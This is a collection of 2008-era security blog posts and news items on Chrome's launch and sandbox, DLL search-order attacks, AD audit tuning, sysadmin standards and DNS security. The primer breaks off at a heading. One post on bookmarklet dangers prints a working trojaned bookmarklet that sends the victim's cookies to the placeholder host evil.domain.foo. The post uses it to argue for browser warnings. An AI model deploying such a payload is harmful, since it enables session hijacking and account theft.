What I'm Reading

I read Gunter Ollmann's post in the IBM ISS blog with interest today. Gunter is "Director Security Strategy, IBM Internet Security Systems," so he is undoubtedly pro-outsourcing. Here is his argument:

[S]ecurity doesn’t come cheap. While individual security technologies get cheaper as they commoditize, the constant influx of new threats drives the need for new classes of protection and new locations to deploy them...

If you were to examine a typical organizations IT security budget, you’d probably see that the majority of spend isn’t in new appliances or software license renewals, instead it’ll lie in the departments staffing costs...

This is at odds with the way most organizations normally deal with specialized and professional skill requirements... Just about every organization I deal with (including some of the biggest international companies) relies upon external agencies to provide these specialist services and consultancy – as and when required – it’s more cost effective that way.

With that in mind, why are organizations building up their own highly-trained (and expensive) specialist internal security teams? Granted, some of the security technologies being deployed by organizations are relatively complex, but do they really require a Masters degree and CISSP certified experts to babysit them full-time...

Nowadays you can tap in an incredibly broad range of expertise – ranging from hard-core security researchers capable of helping you evaluate the security of new products you’re thinking of buying and deploying throughout your enterprise, through to 24x7 security sentinels; so knowledgeable about the security product you’ve deployed that they’re capable of guaranteeing protection with money-back SLA’s...

Organizations should take a closer look at their security budgets and evaluate whether they’re getting the right value out of their internal teams and whether their skills investment meets the daily need of the business. (emphasis added)

By highlighting the focus on "security products," you can probably predict my response to Gunter's post. Sure, you can get hire experts that may (or may not) be cheaper than internal staff, and they may be smarter in individual products or even defensive tactics, but they are poor with respect to the most critical aspect of modern security: business knowledge. It does not matter if you are the world's greatest packet monkey if you 1) don't know what matters to a business; 2) don't know business systems; 3) don't know what is normal for a business... do I need to continue?

This is the biggest challenge I see for consultants, having been one and having hired them. It's easier to hire a consultant to help configure a security product than it is to figure out if that product is even needed, which to buy, how to get approval and business buy-in, how to support it operationally, and a dozen other decisions.

I agree that certain specialized tasks merit outside support. That list changes from organization to organization. However, beware arguments like Gunter's.Copyright 2003-2008 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)noreply@blogger.com (Richard Bejtlich)

A friend of mine is working on digital defense strategies at work. He is interested in your commentary and any relevant experiences you can share. He is moving from a "deny bad, allow everything else" policy to an "allow good, deny everything else" policy.

By policy I mean a general approach to most if not all defensive strategies. On the network, define which machines should communicate, and deny everything else. On the host, define what applications should run, and deny everything else. In the browser, define what sites can be visited, and deny everything else. That's the central concept, although expansions are welcome.

My friend would like to know if anyone in industry is already following this strategy, and to what degree. If you can name your organization all the better (even if privately to me, or to him once the appropriate introductions are made). Thank you.Copyright 2003-2008 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)noreply@blogger.com (Richard Bejtlich)

http://www.milw0rm.com/exploits/6367
Long strings leading to stack overruns?  Really Google?  Srsly?  I guess I have the answer to my questions about whether they have an SDL / or the notion of banned APIs / or automated code scanning stuff . . . I mean long strings in an HTML tag is like . . . silly fuzzing 101 type stuff . . . the vulns we're fixing in IE these days are pretty insane and are usually pretty complicated / obscure . . . like usually they are some really complicated DOM manipulation stuff that is waaaaaayyyyy beyond simple 'overly long strings in a tag' type stuff.  I can't *wait* to see what happens when people start doing really advanced DOM fuzzing against Chrome. :)

Another interesting read is how they implemented some of their 'enhanced' BIBA security model stuff to prevent the read-up (from Low to Medium or higher) stuff that Low IL on Vista still allows: http://gynvael.coldwind.pl/?id=49

Function patching?  Really?  Wow.  Just . . . wow.

It's pretty obvious that the code quality just isn't there . . . this browser is not ready for prime time on anyone's machine IMHO.

 

I've written before on noise reduction in the Windows security event log.  I've also written to describe how object access auditing works.  But, I still get questions on how to reduce noise from object access events.  The other day I got that question, specific to Directory Service objects, on an internal discussion list so I thought I'd clean up the answer a bit and share it with the world.  In general the same is true for any type of object, although there are a few more knobs to control for DS objects.

Object access audit is generated when the system access control list (SACL) on the object matches the access that was performed on ALL of the following conditions:

1. Object - the object that was accessed must have either an explicit or inherited SACL.  The access performed is compared against the ACEs in that SACL.
   
2. Success or failure of activity - every audit access control entry (ACE) in a SACL will be either of type AUDIT_SUCCESS or AUDIT_FAILURE.  The access performed must match the access type of the ACE for the rest of the ACE to be considered.
   
3. User account - the accessing user's token is compared against each ACE matching the access type.  If the user, or a group the user belongs to, matches the SID in the ACE, then an audit might be generated.
   
4. Access - the access being performed must match the audited accesses in the access mask in an otherwise matching ACE.

The specific auditing algorithm is discussed here.

So the way to reduce the number of audit events (566 on Windows Server 2003, 4662 on Windows Server 2008, or one of the new DS Change events on Windows Server 2008) is to cause one or more of those conditions to fail, except in the specific cases that you care about.

The SACL which will generate the most audit events is "Everyone:Success & Failure:All accesses" on the domain head with OI,CI (object inherit & container inherit flags) for all object types.  This SACL matches all of the above conditions in all cases.  (Incidentally I think that this is pretty close to the default SACL- with the exception of failures- for Windows 2000 Active Directory installations, and SACLs are not updated when DCs are upgraded from version to version.  Windows Server 2003 has much more conservative SACLs for new installations of AD.)

To reduce noise, I offer the following suggestions, addressing each of the above conditions:

1. Audit only the objects that you care about.  User accounts and groups already are well-audited with "Account Management" auditing, so don't audit them with DS access.  Perhaps audit OUs, or other DS objects.  Use the Object Type and attribute type restrictions that you have in DS Access auditing.  Also, in Windows Server 2008, you can affect auditing on a per-object basis by adjusting the SearchFlags attribute in the AD schema for the object.  SACLs are more easily reversed so are probably a more acceptable method of controlling audit for most organizations.
   
2. Audit successful accesses only.  Failed accesses are common and are NOT indicative of any security problem; in fact many failures are not even explicit requests by the user but are just normal requests made by the OS, and the OS will re-try with less access if the operation fails.  In my experience failure auditing is primarily useful for troubleshooting, not for security.
   
3. Audit the "Everyone" group.  Although this matches any user, you will not accidentally miss any accesses that you care about due to failing to audit a user account who has access to the objects in question.  The only time that you would NOT audit "Everyone" is if you had an application or service account which was very noisy; in that case you'd need to create a group with all accounts EXCEPT the noisy accounts, and audit that group.
   
4. Audit only the accesses that you care about.  Specifically, read accesses occur much more often (in my experience, a conservative estimate is about a 100:1 ratio) than write accesses.  If you restrict your auditing to "write" type accesses (including change, delete, change permissions, create, etc.) then you will end up generating far fewer events.  Auditing for read access is very noisy.  If you must audit for reads, consider auditing fewer objects, perhaps only auditing reads on the container object instead of the objects in the container, or on one "interesting" object in any given container as a "canary".

 

Hey, it's Will. Earlier this year, details about "carpet bombing" attacks were released. Apple addressed the issue by prompting users before downloading files, but recent news indicates that Google Chrome, which is based on Apple's WebKit code, is also vulnerable to the same type of attack. However, some people seem to be missing an aspect of the attack that affects all web browsers.

When loading a DLL, Microsoft Windows looks for the DLL in a certain sequence of directories. The first match for the file name wins. In most cases, Windows will first look for a DLL in the same location as the executable. This behavior is what allows the Apple Safari "carpet bombing" vulnerability to work. If an attacker can place code in a directory that gets searched before Windows finds the "real" DLL, the attacker's code will be executed.

Consider the following scenario: Suppose that you use a web browser to download files, and you have some directory where you put your downloaded files. As time goes on, that directory gets filled with items that you've downloaded. Occasionally, you may open one of the trusted programs that you've explicitly downloaded and run it from your browser's download manager or from Windows Explorer.

If this scenario seems plausible, you may have inadvertently executed malicious code! This risk is even greater if you use a web browser that saves files to your computer without prompting, such as Google Chrome or an older version of Apple Safari for Windows. It's important to note, though, that any web browser or other application is at risk here, too, because the DLL search order behavior is a feature of Microsoft Windows.

What can you do to protect yourself from this kind of attack? For starters, make sure that your web browser is configured to prompt you before downloading a file. For example, Google Chrome has a preference called "Ask where to save each file before downloading." Configuring your web browser to prompt you before downloading a file can help prevent a directory from being "poisoned" without your knowledge. The most effective protection, however, is to move a file to a trusted (i.e., empty) directory before executing it. Before running a program in Microsoft Windows, it is not enough to verify that you trust the program itself. You must also trust the directory from which the application is launched. A cluttered download directory is not trustworthy.

Windows Vista does not appear to be vulnerable to directory poisoning. In my testing, Vista seems to give DLL search order priority to the system directory rather than to the executable's current directory.

Rob Lee let me know that the SANS Computer Forensics and e-Discovery with Rob Lee site is up, and looking around, it's pretty interesting. If you go to the Community section, there's a blog, links to other resources, but perhaps the most interesting is the Downloads section. This is where you find the SANS Investigative Forensic Toolkit (SIFT) workstation VMWare appliance.

I downloaded SIFT and got it up and running in VMWare Workstation (you can use VMPlayer) in no time. From there, I was able to map my host XP system to the available shares that Rob had already set up (i.e., "hack" and "images").

The VMWare appliance also comes with PTK from DFLabs already set up and ready to run. Rob also provided a neat little "cheat sheet" that you can download and keep nearby and handy when you're logged into and working in the appliance.

I know that this isn't specifically about Windows IR or forensics, but it does allow you to easily use the Linux (in this case, Fedora) platform to perform some modicum of analysis.

Don't forget about the SANS Forensic Summit in Oct, in Vegas!

So tonight a friend sent me this URL which offers a bit more technical detail on how Google's new 'Chrome' browser implements its 'sandbox' for the rendering engine processes: http://crypto.stanford.edu/websec/chromium/chromium-security-architecture.pdf

If you read up on the sandbox you will discover that Google is doing essentially the following things:

1. Using the CreateRestrictedtoken API and AdjustTokenPrivileges to lock down the token the rendering process is running with.
2. Using a Job object to place limitations on what the rendering process can do
3. Running the rendering process on a separate desktop to prevent window message abuse.

Hmmm . . . this all sounds familair . . . where have I read about this type of sandbox before?  Oh that's RIGHT . . . on David LeBlanc's blog:
http://blogs.msdn.com/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-1.aspx <-- CreateRestrictedToken
http://blogs.msdn.com/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-2.aspx <-- Job Object
http://blogs.msdn.com/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-3.aspx <-- Locking down a process on a different desktop to prevent WM abuse.

Now obviously his blog posts are over a year old . . . Chrome just released today along with the whitepaper I linked to above (the create date on the PDF was 9/2/2008 so this doesn't appear to be something old that I'm just now reading) - but in the "references" section - I didn't see any acknowledgement of Dave's work on building the MOICE sandbox (which clearly seems to have given the Google Chrome team some inspiration?  Or perhaps great minds just think alike).  Dave also presented this at Blackhat last year I believe.

Having said all of that - this does appear on the surface to be a rather well thought out browser / sandbox . . . what I find interesting is how . . . "quaint" the new Chrome browser makes FireFox 3.0 look! :)  I mean FireFox 3.0 was touted for its "security" and is heavily hyped as being the most secure browser by people not grounded in reality.  In reality that browser offers even less protection / mitigation against web exploits than IE7 on Vista and of course it has had quite a few vulns in its short lifetime (9 CVEs so far?).  Now we have Chrome which seems to be over the top with respect to protection technology that Windows can offer - possibly even going above and beyond what we have planned for IE8? 

All I can say is - "dang". :)

So the only concerns I have left are:

1. Does Google have an SDL?  Are they using any banned / dangerous Windows APIs?  Do they have any sort of automated code analysis that is occuring looking for defects as its checked in?  Are they compiling with the latest C compiler and opt-ing in to things like /GS, /SafeSEH, /NXCOMPAT, /DYNAMICBASE etc.?  Clearly they are open sourcing this - but are qualified eyeballs being paid to review the code and look for weakness or are they just assuming that someone will . . . for free?  They clearly seem to have threat modeled and pen-tested which is important - but at the same time they seem to have started from an older version of WebKit which Apple has already patched in a recent Safari build . . . this causes some concern.
2. How strong is the sandbox?  Will catastrophic jail breaks be discovered that are challenging or architecturally impossible to fix rendering them useless against some future Metasploit module? :)

I for one don't run FireFox 3.0 . . . I don't consider it even a worthy challenger (though it sure is fast) to IE7 let alone IE8 (due to lack of protection / mitigation technologies, the vuln counts etc.), but I AM going to install Chrome and give props to the folks over at Google for impressing me - this is definitely no "Google Safari 3" or "Google FireFox 3" like I was expecting. :)

 

 

From Daniel Cid of the OSSEC Team

"The OSSEC team is pleased to announce the general availability of
OSSEC version 1.6.

OSSEC is an Open Source Host-based Intrusion Detection System. It
performs log analysis, integrity checking,
Windows registry monitoring, rootkit detection, real-time alerting and
active response. It runs on most operating systems,
including Linux, OpenBSD, FreeBSD, MacOS, Solaris and Windows.

This new version delivers the most comprehensive update to OSSEC in
its history, with numerous new features and bug fixes, including:

* New multi-server architecture
* New platform support for Microsoft Vista (and Server 2008)
* New platform support for VMware ESX
* Added active response module for Windows
* CIS benchmarks on Linux (through the policy auditing)
* Added the VMWare Security hardening guideline to the policy auditing
* Added support for McAfee VirusScan Enterprise logs
* Added support for VMware ESX hostd logs
* Added support for Mac OS FTP server logs
* New tools to better manage the data stored (syscheck_control,
rootcheck_control, log_test)

And much more… Check the release message for more information:
http://www.ossec.net/main/ossec-v16-released

Download it from: http://www.ossec.net/main/downloads"

Congratulations on the release guys!

Mike Guiterman (Sourcefire)

It is true what many of you have heard. Google is releasing their own browser. Google Chrome, as they call it, is based on WebKit rendering engine and introduces some novel approaches to interacting with web technologies. I must say, it is very exciting to see all of this happening.

What makes Google Chrome different is its architecture. The browser is no longer single-threaded process. Each tab is actually a separate process with own memspace. I am not sure if we are talking about threads or actual program instances but what is more important is that when you close a tab, you are virtually terminating the process. At least, this is what Google says.

This seams to have some interesting implications on the security of the browser. If you corrupt the tab’s memspace then you will crash only that particular process. The browser and all other tabs should continue working just fine like nothing ever has happened. This approach has its own advantages and disadvantages. The advantages are obvious: the user experience is intact. The disadvantages are that pwning might get easier. It is very early to me to say more on this topic because I haven’t seen Google Chrome in action, but I have the slight suspicion that there will be some security consequences as a result of this security model.

Google Chrome also implements a new privacy feature. I think they call it incognito or something. Basically if you browser while being in incognito mode, nothing ever gets logged. I think that this is a cool feature and I believe that the IE8 team is working on something similar.

Another interesting feature which I need to mention is that popups are not blocked but they open in a minimized window. If you want to see them you just drag the popup icon and there you go. Again, this is very interesting but I can already see how this may be abused. For example, it will make a huge difference if the rendering engine has already processed the content of the popup even if it is minimized. If this is the case, then this feature could turn into a very handy mechanism of hiding malicious activities. For example, if during the attack, the page flickers or the attacker is rendering too many corrupted ANIs :) then certainly, hiding it behind a minimized popup will be a great way of avoiding detection by casual observation. Of course these are pure speculations.

Google Chrome also provides sandboxing functionalities. Apparently each process is sandboxed but I have no details how was that implemented. I would say that perhaps sandboxing JavaScript is fairly easy but doing that on a process level may not be as much. Maybe each process runs with unprivileged account which does not have many rights. But still, it must have some rights in order to do something. So taking over a process may not result into an immediate pwnage but it will certainly give the attackers some advantage. I am very interested to learn how this sandboxing mechanism is implemented for the various operating systems if the browser is cross-platformed of course, which I believe is the case.

If everything is implemented correctly, which I hardly doubt, then Google Chrome may turn into a very nice technology I may consider using it in the near future. However, none of these security features interest me as much as those that allow me to prevent poorly coded web applications leaking my details over unencrypted channels. Or even features which will prevent certain types of CSRF and XSS attacks. I’ve said it before! Most of my data does not reside on my computer any more. Of course this philosophy had some bad side effects on me, but my point is that the data is on the Web and therefore I am concerned how my browser protects me when it comes down to Web related bugs. I believe that Google Chrome lacks mostly that and if they decide to implement any of recommendations then in my eyes, I will certainly have a winner in the upcoming browser wars.

My favorite article from the August ;login: magazine is online: "Standard Deviations" of the Average System Administrator (.pdf) by Alva Couch. I'd like to highlight some excerpts:

System administrators have a surprising amount in common with electricians. Both professions require intensive training. Both professions are plagued by amateurs who believe (erroneously) that they can do a good job as a professional. Both professions are based upon a shared body of knowledge.

But electricians can call upon several resources that system administrators lack. Electricians have a legally mandated mentorship/apprenticeship program for training novices. They have a well-defined and generally-accepted profession of job grades, from apprentice to journeyman to master. They advance in grade partly through legally mandated apprenticeship and partly through legally mandated certifications. These certifications test for knowledge of a set of standards for practice—again, mandated by law. The regulations are almost universally accepted as essential to assuring quality workmanship, function, and safety.

In short, one electrician can leave a job and another can take over with minimal trouble and without any communications between the two, and one can be sure that the work will be completed in the same way and to the same standard. Can any two system administrators, working for different employers, be interchanged in such a fashion?

At present, system administrators are at a critical juncture. We have functioned largely as individuals and individualists, and we greatly value our independence. But the choices we make as individuals affect the profession as a whole. I think it is time for each of us to act for the good of the profession, and perhaps to sacrifice some of that independence for what promises to be a greater good. This will be a difficult sacrifice for some, and the benefits may be intangible and long-term rather than immediate. But I think it is time now for us to change the rules.

From standards for distributions (e.g., the Linux Standard Base) to standards for procedures (e.g., those upon which Microsoft Certified Engineers are tested), I believe that — although standards may annoy us as individuals — standards for our profession (and certification to those standards) help build respect for system administration as a profession. Compliance with standards gives us a new and objective way to measure the quality of management at a site. Standards not only make the task easier but also enforce desirable qualities of the work environment and help to justify appropriate practices to management. Adoption of standards also has a profound effect upon our ability to certify system administrators and even changes the
meaning and form of such a certification.

Is a system administrator accorded the same respect as an electrician? I think the answer is an emphatic “no,” at least for those electricians who hold a master’s license. There are two factors that engender respect for a master electrician: legally mandated standards linked closely to legally mandated apprenticeship and certification.

I think the whole article is worth reading, but those are the key points. Now, I'm sure many of us have electrician horror stories. I know someone (not me) who was unlicensed and therefore had to hire an electrician to wire an addition to his house. The "electrician" did such a poor job that this person then rewired everything to code himself rather than bother with the electrician again. I don't think that's the norm, but I wonder if there is any research that might support Dr. Couch's statement that one electrician can leave a job and another can take over with minimal trouble and without any communications between the two, and one can be sure that the work will be completed in the same way and to the same standard?

Still, I guarantee that most every system administrator handles boxes differently. Even within the same company, I find systems horrendously maintained. I once assumed control of a set of "Linux appliances" built and operated by a managed security service provider. They were all built for the same purposes, but ran a variety of Linux kernels with different applications, versions, and configurations. These were all operated by the same small MSSP!

Perhaps one of the worst examples of our lack of standardization involves network diagrams. Sites like Rate My Network Diagram will make you laugh and cry. I usually cry because I took four years of architecture training in high school. We did most everything by hand (it was the late 1980s), to include learning how to write the various "architectural fonts" we were expected to use. (We did start learning how to operate AutoCAD on the Applie IIGS just before graduation!) The point, however, was all of our diagrams looked similar, if not the same. This standardization allows one architect to review and build using another's plans without wondering what the various lines and icons mean.

Incidentally, I know about Cisco's icons. I'm talking about a standard way to use such icons, not standardized icons themselves. That's only one step.

Don't get me started on standard terminology... Yes, the image on the left depicts my feelings about the maturity of our industry. It's still early days, so I hope we decide to professionalize during my working lifetime.Copyright 2003-2008 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)noreply@blogger.com (Richard Bejtlich)

At Google, we have a saying: “launch early and iterate.” While this approach is usually limited to our engineers, it apparently applies to our mailroom as well! As you may have read in the blogosphere, we hit "send" a bit early on a comic book introducing our new open source browser, Google Chrome. As we believe in access to information for everyone, we've now made the comic publicly available -- you can find it here. We will be launching the beta version of Google Chrome tomorrow in more than 100 countries.

So why are we launching Google Chrome? Because we believe we can add value for users and, at the same time, help drive innovation on the web.

All of us at Google spend much of our time working inside a browser. We search, chat, email and collaborate in a browser. And in our spare time, we shop, bank, read news and keep in touch with friends -- all using a browser. Because we spend so much time online, we began seriously thinking about what kind of browser could exist if we started from scratch and built on the best elements out there. We realized that the web had evolved from mainly simple text pages to rich, interactive applications and that we needed to completely rethink the browser. What we really needed was not just a browser, but also a modern platform for web pages and applications, and that's what we set out to build.

On the surface, we designed a browser window that is streamlined and simple. To most people, it isn't the browser that matters. It's only a tool to run the important stuff -- the pages, sites and applications that make up the web. Like the classic Google homepage, Google Chrome is clean and fast. It gets out of your way and gets you where you want to go.

Under the hood, we were able to build the foundation of a browser that runs today's complex web applications much better. By keeping each tab in an isolated "sandbox", we were able to prevent one tab from crashing another and provide improved protection from rogue sites. We improved speed and responsiveness across the board. We also built a more powerful JavaScript engine, V8, to power the next generation of web applications that aren't even possible in today's browsers.

This is just the beginning -- Google Chrome is far from done. We're releasing this beta for Windows to start the broader discussion and hear from you as quickly as possible. We're hard at work building versions for Mac and Linux too, and will continue to make it even faster and more robust.

We owe a great debt to many open source projects, and we're committed to continuing on their path. We've used components from Apple's WebKit and Mozilla's Firefox, among others -- and in that spirit, we are making all of our code open source as well. We hope to collaborate with the entire community to help drive the web forward.

The web gets better with more options and innovation. Google Chrome is another option, and we hope it contributes to making the web even better.

So check in again tomorrow to try Google Chrome for yourself. We'll post an update here as soon as it's ready.

Update @ 3:30 PM: We've added a link to our comic book explaining Google Chrome.

Posted by Sundar Pichai, VP Product Management, and Linus Upson, Engineering Director

So we all know about cross-domain vulnerabilities that allow attackers to run code within the security context of the target domain. Typically, they are either a XSS bug on the server-side application, or a bug in the client (web browser plugin or web browser itself). Most of the times, these vulnerabilities require some type of interaction from the victim user. i.e.: being tricked to click on a link or visit a malicious page.

Now, most techies are familiar with bookmarklets. Well, what’s funny is that many users with knowledge of security - including many infosec professionals - are not aware of the security implications of running a bookmarklet.

The two most common ways to run a bookmarklet are:

• pasting the JavaScript code - which must start with a javascript: statement - in the address bar and press ENTER
• click on the bookmarklet under the ‘Bookmarks’ menu (must have been previously added)

On one hand, a bookmarklet is a piece of JavaScript that allows you to do something cool with the current webpage. On the other hand, from a security point of view, a bookmarklet is scripting code injection within the security context of the current domain/site by design.

Or put it this way: you’ve got the equivalent of a XSS vulnerability in the target site or a cross-domain vulnerability on the web browser. Except that you don’t need to discover a new vulnerability. No 0days required! So like in cross-domain vulnerabilities we can inject payloads that allow us to:

• steal cookies (session hijacking)
• scrape pages containing interesting data and submit it to the attacker’s site
• steal usernames and passwords that are autocompleted by the browser
• perform advanced phishing attacks. i.e.: by overwriting the login form’s action attribute or injecting a new fake login form
• etc …

Also, as in cross-domain vulnerabilities, there is some level of user interaction required: in this case, the attacker must trick the victim to run a bookmarklet while on the target site.

So how can we increase the chance of the victim being tricked to run a bookmarklet? Well, a nice trick is to use a fun and flashy bookmarklet, such as one that reads the images of the current page and creates an animation with them. You could of course write the code from scratch, but we won’t do that as we’re too lazy aren’t we? Instead, we’ll trojan a publicly available (fun and flashy) bookmarklet with our malicious code. In this case, our malicious payload steals the victim’s cookie for the purpose of hijacking his/her session. Notice that the cookies would be sent to x.php which the attacker would need to host on his/her site. This PHP script sends any received data (cookie in this case) to the attacker’s email:

javascript:/*%20start%20of%20evil%20code*/(function(){c=document.createElement("img");c.src="http://evil.domain.foo/x.php?"+document.cookie;c.width=0;c.height=0;document.body.appendChild(c)})();/*end%20of%20evil%20code%20*/window.scrollTo(0,%200);%20R=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;%20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsByTagName(&apos;img&apos;);%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i++){DIS=DI[%20i%20].style;%20DIS.position=&apos;absolute&apos;;%20DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+&apos;px&apos;;%20DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+&apos;px&apos;}R++}setInterval(&apos;A()&apos;,5);%20void(0);

Notice the malicious payload is within JS comments. There is nothing special about the evil code. It simply creates an image tag which results in the victim’s cookie being sent to a third-party site in the background. The non-malicious payload will also execute, which results in the images of the current page moving around the screen. It’s quite neat, as the user won’t notice anything suspicious actually happened. Needless to say, you need to replace evil.domain.foo with the site hosting the x.php script.

You can picture this kind of attack actually happening in sites where there are cross-user functionalities. i.e.: social networking sites such as Facebook, MySpace and so on …

Thinking about the dangers of running a bookmarklet brings us to the next question:

Why in the world do browsers NOT show a warning before running a bookmarklet?

After all, browsers do display warnings for other potentially dangerous actions such as:

• visiting a site with an invalid SSL certificate
• clicking on a form that submits data in clear

I do understand that it would be annoying to warn users every time they run a bookmarklet, but I think it would be sensible to show a warning at least the first time a given bookmarklet is executed. If you work for a popular web browser vendor such as Microsoft or Mozilla, you can think of this as my wish for the day! I’d love to hear your feedback if you are reading this!

An anonymous reader writes "According to a thread on the bind-users mailing list, there is nothing inherent in the DNS protocol that would cause the massive vulnerability discussed at length here and elsewhere. As it turns out, it appears to be a simple off-by-one error in BIND, which favors new NS records over cached ones (even if the cached TTL is not yet expired). The patch changes this in favor of still-valid cached records, removing the attacker's ability to successfully poison the cache outside the small window of opportunity afforded by an expiring TTL, which is the way things used to be before the Kaminsky debacle. Source port randomization is nice, but removing the root cause of the attack's effectiveness is better." Update: 08/29 20:11 GMT by KD : Dan Kaminsky sent this note: "What Gabriel suggests is interesting and was considered, but a) doesn't work and b) creates fatal reliability issues. I've responded in a post here."

Read more of this story at Slashdot.

kdawson

Be brief, for no discourse can please when too long. Miguel de Cervantes When I ...(more)...(author unknown)

What the hell's goin' on here?
something's surely a mess,
our BGP is announcing
the wrong damned AS

See, I announce with this prefix,
it's a slash 24,
here to there should take 3 hops,
not 18 or more

I'm pinging the next hop and
that works just fine,
ping a host, subnet over,
slows like a POTS line

That Defcon session,
when we IM'd all night,
that shit's all encrypted
you told me that, right?

My telnet shell's cleartext!
DONE! Stabbed it with a FIN fork
So why do these Pcap's
show SYN's to New York!?

Somethin' sure does look fishy,
TTLs all askew
are the ISPs tapping traffic
'tween me and you?

I'm just paranoid, man,
I'm sure it's all fine.
These ping-pong effects?
BGP's grand design

I mean really, why worry?
Even though, I confess,
it's not like we're vulnerable
like with DNS

BGP must be foolproof
auth'd and encrypted
there's no way they've gamed it,
redirected or sniffed it

It would be quite stupid
if AS routes, you could twiddle,
intercept all my traffic
with a man-in-the-middle

Nah, I'll sit here, use torrents,
my bits are secure,
close my eyes and imagine
that the Internet's pure

What's next though, I wonder,
what protocol hack
will cause Internet chaos
and make the tubes crack?

Introduction

The Domain Name System (DNS) is vital to the Internet, providing a mechanism for resolving host names into Internet Protocol (IP) addresses. Insecure underlying protocols and lack of authentication and integrity checking of the information within the DNS threaten the proper functionality of the DNS.

The DNS plays a critical role in supporting the Internet infrastructure by providing a distributed and fairly robust mechanism that resolves Internet host names into IP addresses and IP addresses back into host names. The DNS also supports other Internet directory-like lookup capabilities to retrieve information pertaining to DNS Name Servers, Canonical Names, Mail Exchangers, etc. Unfortunately many security weaknesses surround IP and the protocols carried by IP. The DNS is not immune to these security weaknesses. The accuracy of the information contained within the DNS is vital to many aspects of IP based communications.

DNS Functions

The DNS not only supports host name to network address resolution, known as forward resolution, but it also supports network address to host name resolution, known as inverse resolution. Due to its ability to map human memorable system names into computer network numerical addresses, its distributed nature, and its robustness, the DNS has evolved into a critical component of the Internet. Without it, the only way to reach other computers on the Internet is to use the numerical network address. Using IP addresses to connect to remote computer systems is not a very user-friendly representation of a system’s location on the Internet and thus the DNS is heavily relied upon to retrieve an IP address by just referencing a computer system's Fully Qualified Domain Name (FQDN). A FQDN is basically a DNS host name and it represents where to resolve this host name within the DNS hierarchy.

 

Threats to DNS Servers

The original DNS specifications did not include security based on the fact that the information that it contains, namely host names and IP addresses, is used as a means of communicating data. As more and more IP based applications developed, the trend for using IP addresses and host names as a basis for allowing or disallowing access (i.e., system based authentication) grew.

Another contributing factor to the vulnerabilities in the DNS is that the DNS is designed to be a public database in which the concept of restricting access to information within the DNS name space is purposely not part of the protocol. Later versions of the BIND implementation allow access controls for such things as zone transfers, but all in all, the concept of restricting who can query the DNS for RRs is considered outside the scope of the protocol.

The existence and widespread use of such protocols as the r-commands put demands on the accuracy of information contained in the DNS. False information within the DNS can lead to unexpected and potentially dangerous exposures. The majority of the weaknesses within the DNS fall into one of the following categories: Cache poisoning, client flooding, dynamic update vulnerability, information leakage, and compromise of the DNS server’s authoritative database.

· Cache Poisoning

Whenever a DNS server does not have the answer to a query within its cache, the DNS server can pass the query onto another DNS server on behalf of the client. If the server passes the query onto another DNS server that has incorrect information, whether placed there intentionally or unintentionally, then cache poisoning can occur. Malicious cache poisoning is commonly referred to as DNS spoofing.

· Rogue servers

Rogue DNS servers pose a threat to the Internet community because the information these servers contain may not be trustworthy. They facilitate attack techniques such as host name spoofing and DNS spoofing. Host name spoofing is a specific technique used with PTR records. It differs slightly from most DNS spoofing techniques in that all the transactions that transpire are legitimate according to the DNS protocol while this is not necessarily the case for other types of DNS spoofing. With host name spoofing, the DNS server legitimately attempts to resolve a PTR query using a legitimate DNS server for the zone belonging to that PTR. It’s the PTR record in the zone’s data file on the primary server that is purposely configured to point somewhere else, typically a trusted host for another site. Host name spoofing can have a TTL of 0 resulting in no caching of the misleading information, even though the host name is being spoofed.

· Denial of Service

DoS is accomplished in several ways. One takes advantage of negative responses (i.e., responses that indicate the DNS name in the query cannot be resolved). By sending back the negative response for a DNS name that could otherwise be resolved, results in a DoS for the client wishing to communicate in some manner with the DNS name in the query. The other way DoS is accomplished is for the rogue server to send a response that redirects the client to a different system that does not contain the service the client desires.

Another attack is to flood the DNS farm with requests (valid or not) with the intent to cause downtime to valid users trying to access these servers.

· Application Vulnerabilities

Needles to say that vulnerabilities to Operational Systems (Linux, Windows, Solaris, etc) or services (Windows DNS, Bind, etc) when exploited can cause DNS service disruption.

How to secure DNS Infrastructures

In this topics we’ll cover some ways that companies can increase the overall security for their DNS Infrastructures

· Segregate DNS Servers

This refers to the practice of separating DNS into an external and internal view. This provides a logical separation between the DNS information available to internal network clients/subscribers and what is made publicly available to the internet at large. DNS stores a wealth of information regarding the configuration of a network. Being able to enumerate this information is an invaluable resource for would-be attackers. By separating the publicly available information from that required by internal clients, adds a very critical layer of protection. This segregation can be accomplished in several methods, but separation on physical devices is the preferred.

It’s also recommend to a company to deploy servers to accommodate different functions. Authoritative servers, cache server, resolvers, forwarders. All of this functions should be splited in order to increase security/performance.

At last, deploy DNS services on dedicated servers or appliances.

· Recursion

In simple terms is the ability of a DNS server to answer client requests for domains which it is not authoritative for. Using a Segragate DNS deployment model, there are two primary sets of DNS servers, internal and external. Internal servers should be configured to perform recursion to service the requests of the internal network clients. However, external DNS servers should be explicitly configured to deny recursion. External DNS servers should solely answer requests for the domains for which they are the authoritative for. Public DNS servers which allow recursion have been recently exploited in as amplification machines in Distributed Denial of Service (DDoS) attacks. Not only does this consume valuable machine and bandwidth resources, but there also could be legal ramifications for an organization whose servers were exploited.

In simple terms, always configure your servers to answer only requests for valid users/networks

· Redundancy

As well all agree that DNS is a critical service it’s also certain that DNS can’t be allowed to be a single point of failure. It’s wise if possible to deploy multiple DNS farms with two or more primary DNS servers. These devices should be both geographic and carrier diverse. Having multiple DNS servers in the same physical location on the same internet connection provides very limited redundancy. A single carrier outage or fiber cut can instantly isolate all of your DNS servers. Instead, these should be distributed in across different geographical regions utilizing different internet providers. The use of load balancers/multiple DNS Servers can reduce the possibility of failure and increase the DNS Server Performance.

· NS records

The NS records for an organization's domain name provide public DNS servers with the information needed to find the authoritative name servers for that domain. These records are uploaded from your domain registrar to the Top Level Domain (TLD) DNS servers. As changes are made to your DNS infrastructure, its imperative that your NS records updated to reflect these changes.

· Zone transfers

